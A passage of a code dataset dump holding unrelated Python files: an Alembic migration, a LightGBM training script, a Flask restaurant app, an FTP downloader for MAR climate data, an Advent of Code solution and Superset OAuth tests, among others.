plots\n\n \"\"\"\n\n def __init__(self, root=None, exp=None, domain=None):\n\n if root is None:\n sys = 'win' if platform.system() == 'Windows' else 'lnx'\n if sys == 'win':\n # default path for local copies on a windows machine\n self.root = r'D:\\data_sets\\LDAS_runs'\n else:\n # default path on the HPC\n self.root = '/scratch/leuven/320/vsc32046/output/TEST_RUNS'\n\n # default experiment name\n if exp is None:\n exp = 'US_M36_SMOS_noDA_unscaled'\n\n # default domain name\n if domain is None:\n domain = 'SMAP_EASEv2_M36_US'\n\n self.exp_root = os.path.join(self.root,exp,'output',domain)\n\n self.ana = os.path.join(self.exp_root,'ana')\n self.cat = os.path.join(self.exp_root,'cat')\n self.rc_out = os.path.join(self.exp_root,'rc_out')\n self.rs = os.path.join(self.exp_root,'rs')\n\n self.plots = os.path.join(self.exp_root,'plots')\n","sub_path":"paths.py","file_name":"paths.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"45295067","text":"\"\"\"add table name reference\n\nRevision ID: ac415e4b6bd4\nRevises: 72dac33f7cfe\nCreate Date: 2020-01-10 16:17:56.549260\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = 'ac415e4b6bd4'\ndown_revision = '72dac33f7cfe'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('questionnumber',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('question_number', sa.String(length=255), nullable=True),\n sa.Column('question_image', sa.LargeBinary(), nullable=True),\n sa.Column('image_width', sa.Integer(), nullable=True),\n sa.Column('image_height', sa.Integer(), nullable=True),\n sa.PrimaryKeyConstraint('id')\n )\n op.drop_table('question_number')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('question_number',\n sa.Column('id', sa.INTEGER(), autoincrement=True, nullable=False),\n sa.Column('question_number', sa.VARCHAR(length=255), autoincrement=False, nullable=True),\n sa.Column('question_image', postgresql.BYTEA(), autoincrement=False, nullable=True),\n sa.Column('image_width', sa.INTEGER(), autoincrement=False, nullable=True),\n sa.Column('image_height', sa.INTEGER(), autoincrement=False, nullable=True),\n sa.PrimaryKeyConstraint('id', name='question_number_pkey')\n )\n op.drop_table('questionnumber')\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/ac415e4b6bd4_add_table_name_reference.py","file_name":"ac415e4b6bd4_add_table_name_reference.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"155485439","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 22 16:18:30 2020\n\n@author: User\n\"\"\"\n\nimport pandas as pd\nimport numpy as np\n\n'''\n클래스 레이블명은 TARGET이며 1이면 불만, 0이면 만족한 고객\n'''\n# 데이터 로드\nimport os\nos.getcwd()\n\ndf_data = pd.read_csv('c:\\\\Users\\\\User\\\\Documents\\\\Python Scripts\\\\Public-Bigdata-Internship\\\\data\\\\dataframe.csv', index_col=None)\ndf_data = df_data.iloc[: , 1:]\n\n# 피처/레이블 분리\ndf_data_x = df_data.drop(['Degree', 'X1', 'Y'], axis=1) # Degree = 종속변수(인구수)\ndf_data_y = df_data['Degree']\n\n'''\n# 데이터 전처리 - 이상치 제거\nquartile_1 = x_train_df.quantile(0.25)\nquartile_3 = x_train_df.quantile(0.75)\nIQR = quartile_3 - quartile_1\ncondition = (x_train_df < (quartile_1 - 1.5 * IQR)) | (x_train_df > (quartile_3 + 1.5 * IQR))\ncondition = condition.any(axis=1)\ncondition = ~ condition\nx_data_df = x_train_df[condition]\ny_data_df = y_train_df[condition]\n'''\n\n# 데이터 전처리 - 정규화\nfrom sklearn.preprocessing import StandardScaler\nscaler = StandardScaler()\nx_data = scaler.fit_transform(df_data_x)\ny_data = df_data_y.to_numpy()\n\n# 데이터 분할\nfrom sklearn.model_selection import train_test_split\nx_train, x_test, y_train, y_test = train_test_split(x_data, \n y_data, \n test_size = 0.3, \n random_state = 777, \n stratify = y_data)\n\n# 데이터 전처리 - 오버샘플링\nfrom imblearn.over_sampling import SMOTE\nsm = SMOTE(random_state = 0)\nx_train, y_train = sm.fit_resample(x_train, y_train)\n\n\n\n# 모델 선택\n'''\nparams['n_estimators'] # 반복 수행하는 트리의 개수\nparams['objective'] = 'multiclass' # LGBMClassifier의 경우 'binary'또는 'multiclass'\nparams['metric'] = 'multi_logloss' # loss를 측정하기 위한 기준(multi_logloss: metric for multi-class)\nparams['num_leaves'] = 10 # 하나의 트리가 가질 수 있는 최대 리프 개수(높이면 정확도는 높지만 과적합 발생 가능)\nparams['max_depth'] = 10 # 트리의 최대 깊이\n'''\nfrom lightgbm import LGBMClassifier\nmodel = LGBMClassifier(random_state = 0, n_jobs=-1) # n_jobs: 사용가능 cpu core 개수\n# 하이퍼 파라미터 찾기\nparams = { \"n_estimators\":[100, 200, 1000],\n \"objective\": ['multiclass'],\n \"metric\": ['multi_logloss'],\n \"num_leaves\": [10, 20, 50],\n \"max_depth\": [10, 20, 50],\n \"learning_rate\":[0.01, 0.05, 0.1]}\n\nfrom sklearn.model_selection import GridSearchCV\ngrid_model = GridSearchCV(model,\n param_grid = params,\n cv = 5,\n n_jobs = -1)\n\n# 모델 러닝, eval_set 지정\ngrid_model.fit(x_train, \n y_train,\n early_stopping_rounds = 50, # 50번 반복 후 오류가 변화가 없을 시 조기 중단합니다.\n eval_set = [(x_test, y_test)],\n eval_metric='error') # merror: Multiclass classification error rate\n\n\n# 모델 검증\n# cv결과표\ncv_score = pd.DataFrame(grid_model.cv_results_)\nprint(f'Best Param: {grid_model.best_params_}')\nprint(f'Best Score: {grid_model.best_score_}')\n\n# 모델 예측\nestimator = grid_model.best_estimator_\ny_predict = estimator.predict(x_test)\nprint(\"훈련 데이터셋 예측 결과: {:.3f}\".format(estimator.score(x_train, y_train)))\nprint(\"테스트 데이터셋 예측 결과: {:.3f}\".format(estimator.score(x_test, y_test)))\n\n# F1 Score 확인\nfrom sklearn.metrics import classification_report\nrep = classification_report(y_test, y_predict)\nprint(rep)\n\n\n# 피처 중요도를 그래프로 나타낸다.\nimport matplotlib.pyplot as plt\nfig, ax = plt.subplots(figsize = (10, 12))\nfrom lightgbm import plot_importance\nplot_importance(estimator, ax = ax)\n\n\n","sub_path":"src/LGBM_Seoul.py","file_name":"LGBM_Seoul.py","file_ext":"py","file_size_in_byte":3881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"491636706","text":"# Ronnie Antwiler\n# 3 Consider the following scenario. You have a list of students who are attending class \"Python\" and another list\n# of students who are attending class \"Web Application\".\n#\n# Find the list of students who are attending both the classes.\n# Also find the list of students who are not common in both the classes.\n#\n# Print the both lists. Consider accepting the input from the console for list of students that belong to\n# class “Python” and class “Web Application”.\n\nwebClass = []\npythonClass = []\nbothClass = []\noneClass = []\ncont = 'Y'\n\nwhile cont != 'n' and cont != 'N':\n string = input(\"Please enter the student name then which classes they are in: \"\n \"(separate name and classes with a comma and space): \")\n info = tuple(string.split(', '))\n\n if info[1][0] == 'w' or info[1][0] == \"W\":\n webClass.append(info[0])\n elif info[1][0] == 'p' or info[1][0] == \"P\":\n pythonClass.append(info[0])\n if len(info) == 3:\n if info[2][0] == 'w' or info[2][0] == \"W\":\n webClass.append(info[0])\n elif info[2][0] == 'p' or info[2][0] == \"P\":\n pythonClass.append(info[0])\n cont = input(\"Add another student (Y/N): \")\n\n# Sort through the students listed in the python class and check if they are also in the web class. If they are add\n# them to the both classes list. If they are not, then add them to the only one class list.\nfor student in pythonClass:\n if student in webClass:\n bothClass.append(student)\n else:\n oneClass.append(student)\n\n# Sort through the web class list and see if they are in the python class. If they are in the python class, then they\n# would have already been added to the both classes list. Just those students only in the web class need to be added\n# to one class list\nfor student in webClass:\n if student not in pythonClass:\n oneClass.append(student)\n\nprint(\"Students in the Python class are:\", ', '.join(sorted(pythonClass)))\nprint(\"Students in the Web Development class are:\", ', '.join(sorted(webClass)))\nprint(\"Students in both classes are:\", ', '.join(sorted(bothClass)))\nprint(\"Students in only one class are:\", ', '.join(sorted(oneClass)))","sub_path":"Lab1/Lab1Part3.py","file_name":"Lab1Part3.py","file_ext":"py","file_size_in_byte":2199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"156046450","text":"from advertest.word_frequency import word_frequency\nimport advertest as adv\nimport pandas as pd\n\nimport pytest\n\nsep_list = [None, ' ', '-', '_']\n\ntext_list = [\n 'one two',\n 'one two three',\n 'one-two-three',\n 'one_two_three',\n 'four five',\n 'four five',\n 'four six'\n]\n\nnum_list = [\n 100, \n 200,\n 300,\n 400,\n 500,\n 600,\n 700\n]\n\ndef test_len_result_one_more_than_len_slots():\n for sep in sep_list:\n result = word_frequency(text_list, num_list, sep=sep)\n if sep is not None:\n assert sep not in result['word']\n\ndef test_rm_words_removed():\n result = word_frequency(text_list, num_list, rm_words=['one', 'two'])\n assert 'one' not in result['word']\n assert 'two' not in result['word']","sub_path":"tests/test_word_frequency.py","file_name":"test_word_frequency.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"390246462","text":"from django.views.decorators.csrf import csrf_exempt\nfrom rest_framework.generics import GenericAPIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom plant_core.models import WaterController\nfrom plant_core.serializers import WaterSerializer\n\n\nclass WaterView(GenericAPIView):\n serializer_class = WaterSerializer\n\n @csrf_exempt\n def post(self, request):\n serializer = WaterSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n try:\n power = WaterController.objects.all()[0].power\n except IndexError:\n power = 0\n\n return Response(\n {\"type\": \"WaterView\", \"acknowledged\": True, \"power\": power},\n status=status.HTTP_201_CREATED,\n )\n\n else:\n return Response(\n {\n \"type\": \"WaterView\",\n \"error\": True,\n \"message\": \"Missing mandatory key(s) to process\",\n \"power\": 0,\n },\n status=status.HTTP_400_BAD_REQUEST,\n )\n","sub_path":"plant_core/views/water.py","file_name":"water.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"520996056","text":"from flask import Flask, render_template, redirect, jsonify, request\r\nfrom sqlalchemy import create_engine\r\nfrom sqlalchemy.orm import sessionmaker\r\nfrom database_setup import Base, Restaurant, MenuItem\r\n\r\napp = Flask(__name__)\r\n\r\nengine = create_engine('sqlite:///restaurantmenu.db')\r\nBase.metadata.bind = engine\r\n\r\n# DBSession = sessionmaker(bind=engine)\r\n# session = DBSession()\r\n \r\n#Fake Restaurants\r\nrestaurant = {'name': 'The CRUDdy Crab', 'id': '1'}\r\nrestaurants = [{'name': 'The CRUDdy Crab', 'id': '1'}, {'name':'Blue Burgers', 'id':'2'},{'name':'Taco Hut', 'id':'3'}]\r\n\r\n#Fake Menu Items\r\nitems = [ {'name':'Cheese Pizza', 'description':'made with fresh cheese', 'price':'$5.99','course' :'Entree', 'id':'1'}, {'name':'Chocolate Cake','description':'made with Dutch Chocolate', 'price':'$3.99', 'course':'Dessert','id':'2'},{'name':'Caesar Salad', 'description':'with fresh organic vegetables','price':'$5.99', 'course':'Entree','id':'3'},{'name':'Iced Tea', 'description':'with lemon','price':'$.99', 'course':'Beverage','id':'4'},{'name':'Spinach Dip', 'description':'creamy dip with fresh spinach','price':'$1.99', 'course':'Appetizer','id':'5'} ]\r\nitem = {'name':'Cheese Pizza','description':'made with fresh cheese','price':'$5.99','course' :'Entree'}\r\n\r\n@app.route('/')\r\n@app.route('/restaurants')\r\ndef showRestaurants():\r\n return render_template('restaurants.html', restaurants=restaurants)\r\n\r\n@app.route('/restaurants/JSON')\r\ndef showRestaurantJSON():\r\n return jsonify(restaurants=restaurants)\r\n\r\n# Task 1: Create route for newMenuItem function here\r\n@app.route('/restaurant/new', methods = ['GET', 'POST'])\r\ndef newRestaurant(restaurant_id):\r\n if request.method == 'GET':\r\n return render_template('newRestaurant.html')\r\n\r\n if request.method == 'POST':\r\n # get new restaurant data from request\r\n redirect('/restaurants')\r\n # return 'This page will be for making a new restaurant';\r\n\r\n@app.route('/restaurant//edit', methods = ['GET', 'POST'])\r\ndef editRestaurant(restaurant_id): \r\n if request.method == 'GET':\r\n # restaurant = session.query(Restaurant).filter_by(restaurant_id).one()\r\n return render_template('editRestaurant.html', restaurant=restaurant)\r\n \r\n if request.method == 'POST':\r\n redirect('/restaurants')\r\n\r\n@app.route('/restaurant//delete', methods = ['GET', 'POST'])\r\ndef deleteRestaurant(restaurant_id):\r\n if request.method == 'GET':\r\n # return 'This page will be for deleting restaurant %s' % restaurant_id\r\n # restaurant = session.query(Restaurant).filter_by(restaurant_id).one()\r\n return render_template('deleteRestaurant.html', restaurant=restaurant)\r\n if request.method == 'POST':\r\n redirect('/restaurants')\r\n\r\n@app.route('/restaurant/')\r\n@app.route('/restaurant//menu')\r\ndef showMenu(restaurant_id):\r\n # return 'This page is the menu for restaurant %s' % restaurant_id\r\n # restaurant = session.query(Restaurant).filter_by(id=restaurant_id).one()\r\n # items = session.query(MenuItem).filter_by(restaurant_id=restaurant.id)\r\n return render_template('menu.html', restaurant=restaurant, items=items)\r\n\r\n@app.route('/restaurant//menu/JSON')\r\ndef showMenuJSON(restaurant_id):\r\n # return 'This page is the menu for restaurant %s' % restaurant_id\r\n # restaurant = session.query(Restaurant).filter_by(id=restaurant_id).one()\r\n # items = session.query(MenuItem).filter_by(restaurant_id=restaurant.id)\r\n return jsonify(items=items)\r\n\r\n@app.route('/restaurant//menu//JSON')\r\ndef showMenuItemJSON(restaurant_id, menu_id):\r\n # return 'This page is the menu for restaurant %s' % restaurant_id\r\n # restaurant = session.query(Restaurant).filter_by(id=restaurant_id).one()\r\n # items = session.query(MenuItem).filter_by(restaurant_id=restaurant.id)\r\n return jsonify(item=item)\r\n\r\n# Task 2: Create route for editMenuItem function here\r\n@app.route('/restaurants//menu/new', methods = ['GET', 'POST'])\r\ndef newMenuItem(restaurant_id):\r\n if request.method == 'GET':\r\n # return 'This page is for making a new menu item for restaurant %s' % restaurant_id\r\n # restaurant = session.query(Restaurant).filter_by(restaurant_id).one()\r\n return render_template('newMenuItem.html', restaurant=restaurant)\r\n\r\n if request.method == 'POST':\r\n redirect('/restaurants/%s/menu' % restaurant_id)\r\n\r\n@app.route('/restaurants///edit', methods = ['GET', 'POST'])\r\ndef editMenuItem(restaurant_id, menu_id):\r\n if request.method == 'GET':\r\n # return 'This page is for editing menu item %s' % menu_id\r\n # restaurant = session.query(Restaurant).filter_by(restaurant_id).one()\r\n # menuItem = session.query(MenuItem).filter_by(restaurant_id, menu_id).one()\r\n return render_template('editMenuItem.html', restaurant=restaurant, menuItem=item)\r\n if request.method == 'POST':\r\n redirect('/restaurants/%s/menu' % restaurant_id)\r\n\r\n# Task 3: Create a route for deleteMenuItem function here\r\n@app.route('/restaurants///delete', methods = ['GET', 'POST'])\r\ndef deleteMenuItem(restaurant_id, menu_id):\r\n if reqeust.method == 'GET':\r\n # return 'This page is for deleting menu item %s' % menu_id\r\n # restaurant = session.query(Restaurant).filter_by(restaurant_id).one()\r\n # menuItem = session.query(MenuItem).filter_by(restaurant_id, menu_id).one()\r\n return render_template('deleteMenuItem.html', restaurant=restaurant, menuItem=item)\r\n\r\n if request.method == 'POST':\r\n redirect('/restaurants/%s/menu' % restaurant_id)\r\n\r\nif __name__ == '__main__':\r\n app.debug = True\r\n app.run(host='0.0.0.0', port=5000)\r\n","sub_path":"vagrant/flask_practice/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":5846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"211922007","text":"import numpy as np\r\nfrom model_service.tfserving_model_service import TfServingBaseService\r\nimport pandas as pd\r\n\r\n\r\nclass mnist_service(TfServingBaseService):\r\n\r\n def _preprocess(self, data):\r\n preprocessed_data = {}\r\n filesDatas = []\r\n for k, v in data.items():\r\n for file_name, file_content in v.items():\r\n df = pd.read_csv(file_content)\r\n\r\n unique_clutter_index = [2, 5, 6, 7, 8, 10, 11, 12, 13, 14, 15, 16, 17, 18]\r\n user_cols = ['X', 'Y', 'Altitude', 'Building Height', 'Clutter Index']\r\n\r\n # add_norm\r\n df['hb'] = df['Height'] + df['Cell Altitude'] - df['Altitude']\r\n df['d'] = ((df['Cell X'] - df['X'])**2 + (df['Cell Y'] - df['Y'])**2)**(1/2) * 0.001\r\n df['lgd'] = np.log10(df['d'] + 1)\r\n df['hv'] = df['hb'] - df['d'] * np.tan(df['Electrical Downtilt'] + df['Mechanical Downtilt'])\r\n df['len'] = df['d'] / np.cos(df['Electrical Downtilt'] + df['Mechanical Downtilt'])\r\n df['lghb'] = np.log10(df['hb'] + 1)\r\n \r\n # add_count\r\n for col in user_cols:\r\n df[col + '_count'] = df[col].map(df[col].value_counts())\r\n\r\n # add_density\r\n df['n'] = len(df)\r\n df['area'] = ((df['X'].quantile(0.97) - df['X'].quantile(0.03))\r\n * (df['Y'].quantile(0.97) - df['Y'].quantile(0.03)))\r\n df['density'] = df['n'] / df['area']\r\n \r\n # add_index\r\n cell_clutter_dummy = pd.get_dummies(pd.Categorical(df['Cell Clutter Index'], categories=unique_clutter_index), prefix='CellClutterIndex')\r\n clutter_dummy = pd.get_dummies(pd.Categorical(df['Clutter Index'], categories=unique_clutter_index), prefix='ClutterIndex')\r\n df = (df.merge(cell_clutter_dummy, left_index=True, right_index=True)\r\n .merge(clutter_dummy, left_index=True, right_index=True))\r\n\r\n x_cols = [col for col in df.columns if col not in ['Cell Index', 'Cell Clutter Index', 'Clutter Index', 'RSRP']]\r\n df = df.fillna(df.mean())\r\n input_data = df[x_cols].values\r\n filesDatas.append(input_data)\r\n filesDatas = np.concatenate(filesDatas, axis=0)\r\n \r\n preprocessed_data['myInput'] = filesDatas.astype(np.float32) \r\n print('myInput.shape', filesDatas.shape)\r\n return preprocessed_data\r\n\r\n\r\n def _postprocess(self, data): \r\n infer_output = {\"RSRP\": []}\r\n for output_name, results in data.items():\r\n print(output_name, np.array(results).shape)\r\n results_np = np.array(results)\r\n results_np[np.isnan(results_np)] = -91.78557\r\n results = results_np.tolist()\r\n infer_output[\"RSRP\"] = results\r\n return infer_output","sub_path":"models/upload/v2/customize_service.py","file_name":"customize_service.py","file_ext":"py","file_size_in_byte":2964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"116554289","text":"from getdayinput import inputstring\nimport re\nfrom math import gcd\n\n\nclass Minimoon(object):\n def __init__(self, position):\n self.position = position\n self.velocity = 0\n\n def updategrav(self, other):\n if self.position < other.position:\n self.velocity += 1\n elif self.position > other.position:\n self.velocity -= 1\n\n def updatepos(self):\n self.position += self.velocity\n\n\nclass CoordRunner(object):\n def __init__(self, coords):\n self.moons = [Minimoon(c) for c in coords]\n self.iteration = 0\n self.originalposition = self.state()\n #self.history = {self.iterationtuple(): 0}\n #originally, I had allowed the possibility that it makes some number of steps prior to entering a cycle\n #but that isn't actually possible\n\n def state(self):\n return tuple([(m.position, m.velocity) for m in self.moons])\n\n def run(self, n=1):\n for iteration in range(n):\n for (i, m) in enumerate(self.moons):\n for (j, mm) in enumerate(self.moons):\n m.updategrav(mm)\n\n for (i, m) in enumerate(self.moons):\n m.updatepos()\n\n self.iteration += 1\n\n def rununtilrepeat(self):\n while True:\n self.run()\n mytuple = self.state()\n #if mytuple in self.history:\n if mytuple == self.originalposition:\n return self.iteration\n\ndef totalenergy(coordstates):\n potential = [0 for _ in coordstates[0]]\n kinetic = [0 for _ in coordstates[0]]\n for (i, c) in enumerate(coordstates):\n for (j, (pos, vel)) in enumerate(c):\n potential[j] += abs(pos)\n kinetic[j] += abs(vel)\n return sum([p * k for (p, k) in zip(potential, kinetic)])\n\ndef parseinput(instr):\n mooncoords = []\n for substr in instr.split('\\n'):\n if not substr:\n continue\n mooncoords.append([int(x) for x in re.findall('[0-9-]+', substr)])\n return mooncoords\n\ndef totalenergyaftersteps(coordstring, n):\n coordmat = parseinput(coordstring)\n coordrunners = [CoordRunner([coordmat[i][j] for (i, _) in enumerate(coordmat)])\n for (j, _) in enumerate(coordmat[0])]\n [c.run(n) for c in coordrunners]\n return totalenergy([c.state() for c in coordrunners])\n\n\ndef timetorepeat(coordstring):\n coordmat = parseinput(coordstring)\n coordrunners = [CoordRunner([coordmat[i][j] for (i, _) in enumerate(coordmat)])\n for (j, _) in enumerate(coordmat[0])]\n cyclelens = [c.rununtilrepeat() for c in coordrunners]\n product = cyclelens[0]\n for c in cyclelens[1:]:\n product *= c // gcd(c, product)\n return product\n\n\nif __name__ == '__main__':\n example = \"\"\"\n\n\n\"\"\"\n\n assert(totalenergyaftersteps(example, 100) == 1940)\n assert(timetorepeat(example) == 4686774924)\n\n inputstr = inputstring(12)\n\n print(f'Star One: {totalenergyaftersteps(inputstr, 1000)}')\n print(f'Star Two: {timetorepeat(inputstr)}')\n\n\n","sub_path":"advent_of_code/day12.py","file_name":"day12.py","file_ext":"py","file_size_in_byte":3103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"126857852","text":"#!/usr/bin/env python\nu\"\"\"\nftp_mar_data.py\nWritten by Tyler Sutterley (05/2020)\n\nSyncs MAR regional climate outputs for a given ftp url\n ftp://ftp.climato.be/fettweis\n\nCALLING SEQUENCE:\n python ftp_mar_data.py --directory= \n\nINPUTS:\n full ftp url\n\nCOMMAND LINE OPTIONS:\n --help: list the command line options\n -P X, --np=X: Run in parallel with X number of processes\n -D X, --directory=X: full path to working data directory\n -Y X, --year=X: Reduce files to years of interest\n -C, --clobber: Overwrite existing data in transfer\n -M X, --mode=X: Local permissions mode of the directories and files synced\n\nUPDATE HISTORY:\n Updated 05/2020: added years option to reduce list of files\n Updated 11/2019: added multiprocessing option to run in parallel\n Written 07/2019\n\"\"\"\nfrom __future__ import print_function\n\nimport sys\nimport getopt\nimport os\nimport re\nimport calendar, time\nimport ftplib\nimport traceback\nimport posixpath\nimport multiprocessing\nif sys.version_info[0] == 2:\n import urlparse\nelse:\n import urllib.parse as urlparse\n\n#-- PURPOSE: check internet connection\ndef check_connection():\n #-- attempt to connect to ftp host for MAR datasets\n try:\n f = ftplib.FTP('ftp.climato.be')\n f.login()\n f.voidcmd(\"NOOP\")\n except IOError:\n raise RuntimeError('Check internet connection')\n else:\n return True\n\n#-- PURPOSE: sync local MAR files with ftp and handle error exceptions\ndef ftp_mar_data(netloc, remote_file, local_file, CLOBBER=False, MODE=0o775):\n #-- try to download the file\n try:\n #-- connect and login to MAR ftp server\n ftp = ftplib.FTP(netloc)\n ftp.login()\n ftp_mirror_file(ftp,remote_file,local_file,CLOBBER=CLOBBER,MODE=MODE)\n except:\n #-- if there has been an error exception\n #-- print the type, value, and stack trace of the\n #-- current exception being handled\n print('process id {0:d} failed'.format(os.getpid()))\n traceback.print_exc()\n else:\n #-- close the ftp connection\n ftp.quit()\n\n#-- PURPOSE: pull file from a remote host checking if file exists locally\n#-- and if the remote file is newer than the local file\ndef ftp_mirror_file(ftp, remote_file, local_file, CLOBBER=False, MODE=0o775):\n #-- if file exists in file system: check if remote file is newer\n TEST = False\n OVERWRITE = ' (clobber)'\n #-- get last modified date of remote file and convert into unix time\n mdtm = ftp.sendcmd('MDTM {0}'.format(remote_file))\n remote_mtime = calendar.timegm(time.strptime(mdtm[4:],\"%Y%m%d%H%M%S\"))\n #-- check if local version of file exists\n if os.access(local_file, os.F_OK):\n #-- check last modification time of local file\n local_mtime = os.stat(local_file).st_mtime\n #-- if remote file is newer: overwrite the local file\n if (remote_mtime > local_mtime):\n TEST = True\n OVERWRITE = ' (overwrite)'\n else:\n TEST = True\n OVERWRITE = ' (new)'\n #-- if file does not exist locally, is to be overwritten, or CLOBBER is set\n if TEST or CLOBBER:\n #-- Printing files transferred\n print('{0} -->'.format(posixpath.join('ftp://',ftp.host,remote_file)))\n print('\\t{0}{1}\\n'.format(local_file,OVERWRITE))\n #-- copy remote file contents to local file\n with open(local_file, 'wb') as f:\n ftp.retrbinary('RETR {0}'.format(remote_file), f.write)\n #-- keep remote modification time of file and local access time\n os.utime(local_file, (os.stat(local_file).st_atime, remote_mtime))\n os.chmod(local_file, MODE)\n\n#-- PURPOSE: help module to describe the optional input parameters\ndef usage():\n print('\\nHelp: {}'.format(os.path.basename(sys.argv[0])))\n print(' -P X, --np=X\\tRun in parallel with X number of processes')\n print(' -D X, --directory=X\\tWorking Data Directory')\n print(' -Y X, --year=X\\tReduce files to years of interest')\n print(' -C, --clobber\\t\\tOverwrite existing data in transfer')\n print(' -M X, --mode=X\\t\\tPermission mode of directories and files\\n')\n\n#-- This is the main part of the program that calls the individual modules\ndef main():\n #-- Read the system arguments listed after the program\n long_options = ['help','np=','directory=','year=','clobber','mode=']\n optlist,arglist = getopt.getopt(sys.argv[1:],'hP:D:Y:CM:',long_options)\n\n #-- command line parameters\n local_dir = os.getcwd()\n #-- years to sync (default all)\n YEARS = '\\d+'\n #-- number of processes\n PROCESSES = 1\n CLOBBER = False\n #-- permissions mode of the local directories and files (number in octal)\n MODE = 0o775\n for opt, arg in optlist:\n if opt in ('-h','--help'):\n usage()\n sys.exit()\n elif opt in (\"-D\",\"--directory\"):\n local_dir = os.path.expanduser(arg)\n elif opt in (\"-Y\",\"--year\"):\n YEARS = '|'.join(arg.split(','))\n elif opt in (\"-P\",\"--np\"):\n PROCESSES = int(arg)\n elif opt in (\"-C\",\"--clobber\"):\n CLOBBER = True\n elif opt in (\"-M\",\"--mode\"):\n MODE = int(arg, 8)\n\n #-- need to input a ftp path\n if not arglist:\n raise IOError('Need to input a path to the MAR ftp server')\n\n #-- check internet connection\n if check_connection():\n #-- check if local directory exists and recursively create if not\n os.makedirs(local_dir,MODE) if not os.path.exists(local_dir) else None\n\n #-- connect and login to MAR ftp server\n #-- get list of files to download\n parsed_ftp = urlparse.urlparse(arglist[0])\n ftp = ftplib.FTP(parsed_ftp.netloc)\n ftp.login()\n # find files and reduce to years of interest if specified\n remote_files = sorted([f for f in ftp.nlst(parsed_ftp.path)\n if re.search(YEARS,posixpath.basename(f))])\n ftp.quit()\n\n #-- run in parallel with multiprocessing Pool\n pool = multiprocessing.Pool(processes=PROCESSES)\n #-- download remote MAR files to local directory\n for j,remote_file in enumerate(remote_files):\n #-- extract filename\n url,fi = posixpath.split(remote_file)\n args = (parsed_ftp.netloc, remote_file, os.path.join(local_dir,fi),)\n kwds = dict(CLOBBER=CLOBBER, MODE=MODE)\n pool.apply_async(ftp_mar_data, args=args, kwds=kwds)\n #-- start multiprocessing jobs\n #-- close the pool\n #-- prevents more tasks from being submitted to the pool\n pool.close()\n #-- exit the completed processes\n pool.join()\n\n#-- run main program\nif __name__ == '__main__':\n main()\n","sub_path":"scripts/ftp_mar_data.py","file_name":"ftp_mar_data.py","file_ext":"py","file_size_in_byte":6728,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"578599239","text":"\"\"\"\nThis module tests oauth\n\"\"\"\nfrom unittest.mock import MagicMock, patch, call\n\nfrom superset import app\n\nfrom superset_patchup.oauth import AuthOAuthView, CustomSecurityManager\n\n\nclass TestOauth:\n \"\"\"\n Class to test the oauth module\n \"\"\"\n\n def test_get_oauth_redirect_url_when_not_set(self):\n \"\"\"\n Test that when custom_redirect_url key is not set in the provider\n None is returned\n \"\"\"\n appbuilder = MagicMock()\n CustomSecurityManager.oauth_providers = [{\"name\": \"onadata\"}]\n csm = CustomSecurityManager(appbuilder=appbuilder)\n redirect_url = csm.get_oauth_redirect_url(provider=\"onadata\")\n assert redirect_url is None\n\n def test_get_oauth_redirect_url_when_set(self):\n \"\"\"\n Test that when custom_redirect_url key is set in the provider\n it returns the right value\n \"\"\"\n appbuilder = MagicMock()\n CustomSecurityManager.oauth_providers = [{\n \"name\":\n \"onadata\",\n \"custom_redirect_url\":\n \"http://google.com\"\n }]\n csm = CustomSecurityManager(appbuilder=appbuilder)\n redirect_url = csm.get_oauth_redirect_url(provider=\"onadata\")\n assert redirect_url == \"http://google.com\"\n\n def test_oauth_user_info_onadata_provider(self):\n \"\"\"\n Test that we get the right user information\n with the onadata provider\n \"\"\"\n # Sample data returned from endpoints\n user_endpoint = {\"username\": \"testauth\", \"name\": \"test\"}\n profiles_endpoint = {\n \"id\": 58863,\n \"is_org\": False,\n \"first_name\": \"test\",\n \"name\": \"test auth\",\n \"last_name\": \"auth\",\n \"email\": \"testauth@ona.io\",\n }\n\n # Expected result\n result_info = {\n \"name\": \"test auth\",\n \"email\": \"testauth@ona.io\",\n \"id\": 58863,\n \"username\": \"testauth\",\n \"first_name\": \"test\",\n \"last_name\": \"auth\",\n }\n\n appbuilder = MagicMock()\n user_mock = MagicMock()\n user_mock.data = user_endpoint\n profile_mock = MagicMock()\n profile_mock.data = profiles_endpoint\n request_mock = MagicMock(side_effect=[user_mock, profile_mock])\n appbuilder.sm.oauth_remotes[\"onadata\"].get = request_mock\n csm = CustomSecurityManager(appbuilder=appbuilder)\n user_info = csm.oauth_user_info(provider=\"onadata\")\n assert request_mock.call_count == 2\n user_info_call, _ = request_mock.call_args_list[0]\n userprofile_call, _ = request_mock.call_args_list[1]\n assert user_info_call[0] == \"api/v1/user.json\"\n assert userprofile_call[0] == \"api/v1/profiles/testauth.json\"\n assert user_info == 